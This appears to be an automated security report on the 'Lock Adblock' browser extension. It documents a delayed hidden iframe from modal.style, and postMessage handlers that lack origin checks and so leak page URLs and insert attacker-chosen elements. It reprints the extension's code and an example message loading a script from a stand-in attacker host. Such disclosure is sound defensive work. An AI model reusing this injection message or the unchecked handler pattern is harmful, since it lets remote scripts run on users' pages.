Is Lock Adblock safe?

Critical risk

Lock is critical risk. Dynamic analysis confirmed the content script accepts postMessage to insert HTML elements. Any sender, including its modal.style iframe, sets the tag, attributes, styles, content, and parent selector. A fetch confirmed script execution.…

98Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Any sender can inject arbitrary HTML elements into any page via postMessage

Dynamic analysis confirmed the content script accepts postMessage to insert HTML elements.

Any sender, including its modal.style iframe, sets the tag, attributes, styles, content, and parent selector.

A fetch confirmed script execution.

Severity
Critical unwanted
Type
Unexpected
CWE
CWE-829
Source
Dynamic sandbox
What actually happens
You did this

A sender posts {_m:'element', item:{tagName:'script', attributes:{src:'https://attacker.example/payload.js'}}} to the page window.

No origin check is performed before the command is processed.

The extension did this

The extension creates and inserts a script element whose src points to the attacker-supplied URL, causing the browser to fetch and execute that script on the current page.

The parent element and all attributes are fully controlled by the sender.

The code that does this

handleElement and createHtmlElement, no input validation

Readable version
function createHtmlElement({    tagName,    attributes = {},    styles = {},    content = "",    parent = document.body  }) {    const element = document.createElement(tagName);    Object.entries(attributes).forEach(([key, value]) =>      element.setAttribute(key, value)    );    if ("textContent" in element && !attributes.src && !attributes.href) {      element.textContent = content;  // safe path    } else if (content && !(attributes.src || attributes.href)) {      element.innerHTML = content;    // unsafe — innerHTML with attacker content    }    Object.entries(styles).forEach(([key, value]) => (element.style[key] = value));    parent.appendChild(element);    return element;}function handleElement(data) {    const { tagName, attributes, styles, content, parentSelector } = data;    createHtmlElement({      tagName,                  // attacker-controlled      attributes: attributes || {},  // attacker-controlled      styles: styles || {},      content: content || "",    // attacker-controlled      parent: document.querySelector(parentSelector) || document.body,  // attacker-controlled    });}
Page DOM modified

A script element with an external src was inserted and the browser issued a GET request to fetch that script.

Target
document.body on any visited page (DA: google.com)
Before
<body>  <!-- page content --></body>
After the extension changed it
<body>  <!-- page content -->  <script id="injected-script-element" src="https://example.com/injected-test.js"></script></body>

Ad blocker injects off-screen iframe from modal.style after 8-hour delay

Dynamic analysis confirmed the extension injects a hidden iframe at modal.style/load into every page, but only after 8+ hours since install, hiding the behavior from initial testing.

The iframe then sends commands to the content script.

Severity
Critical unwanted
Type
Unexpected
CWE
CWE-506
Source
Dynamic sandbox
What actually happens
You did this

You navigate to any website 8 or more hours after installing the extension.

The 8-hour gate runs on every page load after the threshold is crossed.

The extension did this

The extension appends a non-visible iframe loading modal.style/load to the page's DOM.

The iframe uses sandbox='allow-top-navigation allow-same-origin allow-scripts' and style='display:none', making it invisible to the user.

The code that does this

Iframe construction in spin.js

Readable version
function createLoaderModal() {    let loaderFile = "/modal.html";    let htmlFile = loaderFile.replace(/^/, '/');    htmlFile = htmlFile.replace('html', 'style/load');  // produces "//modal.style/load"    const loaderAlert = createHtmlElement({        tagName: "iframe",        attributes: {            sandbox: "allow-top-navigation allow-same-origin allow-scripts",            style: "display: none;",            src: htmlFile        }    });    return loaderAlert;}
Page DOM modified

A div.modal-ct containing a non-visible iframe loading modal.style/load is appended to every page body.

Target
document.body on any visited page
Before
<body>  <!-- page content --></body>
After the extension changed it
<body>  <!-- page content -->  <div class="modal-ct">    <iframe sandbox="allow-top-navigation allow-same-origin allow-scripts"            style="display: none;"            src="//modal.style/load"></iframe>  </div></body>
Third-party domain loaded by the injected iframe
    • modal.style

    Receives a browser request on every page load once the 8-hour gate has passed. The iframe's sandbox allows scripts and top-level navigation.

Content script returns current page URL to any postMessage sender

Dynamic analysis confirmed the content script listens for postMessage on every page.

Any sender, including its own modal.style iframe, sending {_m:'url'} gets an immediate reply with the page's base64 URL, returned to the sender's origin.

Severity
High unwanted
Type
Unexpected
CWE
CWE-359
Source
Dynamic sandbox
What actually happens
You did this

A sender posts the message {_m:'url'} to the page window.

The sender can be the injected modal.style iframe or any other window/frame with access to the page.

The extension did this

The extension replies with the base64-encoded full URL of the current page.

No origin check is performed before the URL is sent back to the sender.

Why you can't catch this in DevTools

The URL is base64-encoded before it is returned to the sender.

Decoded value
https://www.google.com/
The code that does this

postMessage handler, URL reply branch

Readable version
window.addEventListener(    "message",    (e) => {      try {        const key = e.message ? "message" : "data";        const data = parseJSON(e[key]);        const base = window.location;        // No e.origin check here        if (data._m == 'catch')            removeLoader();        else if (data._m == 'url')              e.source.postMessage(                  JSON.stringify({ 'r': btoa(base.href) }),              e.origin);  // reply goes to whatever origin asked        else if (data._m == 'element')          handleElement(data.item);      } catch (err) {}    },    false);

What it can do

Permissions this extension asks for, as declared in version 3.6.0. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Read and change your data on every site you visit

    <all_urls>

  • See the address and title of every tab you have open

    tabs

  • Act on the current tab, but only after you click the extension

    activeTab

  • Schedule its own background tasks

    alarms

  • Block and redirect the requests your browser makes

    declarativeNetRequest

  • Run its own code inside the pages you visit

    scripting

  • Store data in your browser

    storage

Updated 21 September 2026ciadmnanclfadfcfjbbajmggediammha